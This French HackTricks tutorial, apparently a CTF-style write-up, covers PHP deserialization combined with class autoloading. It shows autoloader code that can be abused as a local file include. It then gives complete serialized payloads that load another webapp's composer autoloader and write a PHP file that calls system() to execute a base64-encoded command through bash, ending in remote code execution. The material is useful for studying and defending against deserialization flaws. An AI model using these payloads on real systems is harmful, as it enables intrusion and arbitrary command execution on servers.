8.3 KiB
PHP - Désérialisation + Chargement Automatique de Classes
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :HackTricks Formation AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Formation GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.
Tout d'abord, vous devriez vérifier ce que sont les Classes de Chargement Automatique.
Désérialisation PHP + spl_autoload_register + LFI/Gadget
Nous sommes dans une situation où nous avons trouvé une désérialisation PHP dans une webapp sans aucune bibliothèque vulnérable aux gadgets à l'intérieur de phpggc
. Cependant, dans le même conteneur, il y avait une autre webapp composer avec des bibliothèques vulnérables. Par conséquent, l'objectif était de charger le chargeur composer de l'autre webapp et de l'exploiter pour charger un gadget qui exploitera cette bibliothèque avec un gadget de la webapp vulnérable à la désérialisation.
Étapes :
- Vous avez trouvé une désérialisation et il n'y a pas de gadget dans le code de l'application actuelle
- Vous pouvez abuser d'une fonction
spl_autoload_register
comme suit pour charger n'importe quel fichier local avec l'extension.php
- Pour cela, vous utilisez une désérialisation où le nom de la classe sera à l'intérieur de
$name
. Vous ne pouvez pas utiliser "/" ou "." dans un nom de classe dans un objet sérialisé, mais le code est en train de remplacer les traits d'union ("_") par des barres obliques ("/"). Ainsi, un nom de classe tel quetmp_passwd
sera transformé en/tmp/passwd.php
et le code essaiera de le charger.
Un exemple de gadget sera :O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
Si vous avez un téléchargement de fichier et que vous pouvez télécharger un fichier avec une extension .php
, vous pourriez abuser de cette fonctionnalité directement et obtenir déjà un RCE.
{% endhint %}
Dans mon cas, je n'avais rien de tel, mais il y avait à l'intérieur du même conteneur une autre page web composer avec une bibliothèque vulnérable à un gadget phpggc
.
- Pour charger cette autre bibliothèque, vous devez d'abord charger le chargeur composer de cette autre application web (car celui de l'application actuelle n'accédera pas aux bibliothèques de l'autre). Connaissant le chemin de l'application, vous pouvez y parvenir très facilement avec :
O:28:"www_frontend_vendor_autoload":0:{}
(Dans mon cas, le chargeur composer était dans/www/frontend/vendor/autoload.php
) - Maintenant, vous pouvez charger le chargeur composer de l'autre application, donc il est temps de
générer le phpgcc
payload à utiliser. Dans mon cas, j'ai utiliséGuzzle/FW1
, ce qui m'a permis de écrire n'importe quel fichier dans le système de fichiers. - REMARQUE : Le gadget généré ne fonctionnait pas, pour qu'il fonctionne, j'ai modifié ce payload
chain.php
de phpggc et défini tous les attributs des classes de privé à public. Sinon, après avoir désérialisé la chaîne, les attributs des objets créés n'avaient aucune valeur. - Maintenant, nous avons le moyen de charger le chargeur composer de l'autre application et d'avoir un payload phpggc qui fonctionne, mais nous devons faire cela dans la MÊME DEMANDE pour que le chargeur soit chargé lorsque le gadget est utilisé. Pour cela, j'ai envoyé un tableau sérialisé avec les deux objets comme :
- Vous pouvez voir d'abord le chargeur être chargé puis le payload
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- Maintenant, nous pouvons créer et écrire un fichier, cependant, l'utilisateur ne pouvait pas écrire dans n'importe quel dossier à l'intérieur du serveur web. Donc, comme vous pouvez le voir dans le payload, PHP appelle
system
avec un base64 qui est créé dans/tmp/a.php
. Ensuite, nous pouvons réutiliser le premier type de payload que nous avons utilisé comme LFI pour charger le chargeur de composer de l'autre webapp pour charger le fichier généré/tmp/a.php
. Il suffit de l'ajouter au gadget de désérialisation :
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
Résumé de la charge utile
- Charger l'autoload de composer d'une autre webapp dans le même conteneur
- Charger un gadget phpggc pour abuser d'une bibliothèque de l'autre webapp (la webapp initiale vulnérable à la désérialisation n'avait pas de gadget dans ses bibliothèques)
- Le gadget va créer un fichier avec une charge utile PHP dessus dans /tmp/a.php avec des commandes malveillantes (l'utilisateur de la webapp ne peut pas écrire dans aucun dossier de aucune webapp)
- La dernière partie de notre charge utile va charger le fichier PHP généré qui exécutera des commandes
J'ai dû appeler cette désérialisation deux fois. Dans mes tests, la première fois le fichier /tmp/a.php
a été créé mais pas chargé, et la deuxième fois il a été correctement chargé.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.